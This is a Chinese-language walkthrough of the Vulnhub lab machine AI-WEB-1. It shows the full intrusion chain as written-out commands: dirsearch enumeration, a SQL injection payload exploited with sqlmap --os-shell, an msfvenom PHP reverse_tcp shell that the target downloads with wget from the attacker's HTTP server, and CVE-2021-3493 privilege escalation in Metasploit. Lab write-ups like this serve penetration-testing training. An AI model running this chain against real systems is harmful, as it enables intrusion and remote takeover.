文章

Vulnhub靶场笔记-AI-WEB1

AI-WEB-1

一、环境配置

更改网络适配器为NAT模式

image-20231112181712223

二、主机探测

在物理机中查看VMnet8网卡

image-20231108145349160

使用fscan探测AI-WEB-2靶机ip地址为:192.168.157.137

image-20231112182409300

image-20231112182449516

三、WEB信息收集

1
dirsearch -u http://192.168.157.137/

image-20231112182621097

image-20231112182649777

1
2
3
dirsearch -u http://192.168.157.137/m3diNf0/
dirsearch -u http://192.168.157.137/se3reTdir777/uploads/
dirsearch -u http://192.168.157.137/se3reTdir777/

image-20231112183629364

http://192.168.157.137/m3diNf0/info.php

image-20231112183716479

image-20231112183149744

image-20231112183243042

http://192.168.157.137/se3reTdir777/index.php

image-20231112183502398

四、SQL注入

存在sql注入漏洞

image-20231112183839509

sqlmap一把梭,注意到是post传参抓包获取POST的data数据 :uid=1+%E2%80%98+or+1%3D1%23&Operation=Submit

image-20231112184032245

1
sqlmap -u "http://192.168.157.137/se3reTdir777/" --data="uid=1'or1=1#&Operation=Submit"  --os-shell

info.php中得知web目录:/home/www/html/web1x443290o2sdf92213

image-20231112184457427

经测试/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/能写入webshell

image-20231112184750316

五、上线MSF

生成php木马

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.157.138 LPORT=4444 R > shell.php

msf监听

1
2
3
use exploit/multi/handler
set LHOST 192.168.157.138
set payload php/meterpreter/reverse_tcp

利用os-shell远程下载生成的php木马

启动HTTP服务:python -m http.server 8888

远程下载:wget http://192.168.157.138:8888/shell.php

image-20231112190112009

访问shell.php

image-20231112191324533

六、提权拿Flag

查看主机信息

image-20231112191517383

上线后按CTRL+Z选择y保存session

image-20231112191735649

使用cve-2021-3493提权

1
2
3
4
search cve-2021-3493
use 0
set SESSION 0
run

image-20231112192011460

查看Flag

image-20231112192105695

本文由作者按照 CC BY 4.0 进行授权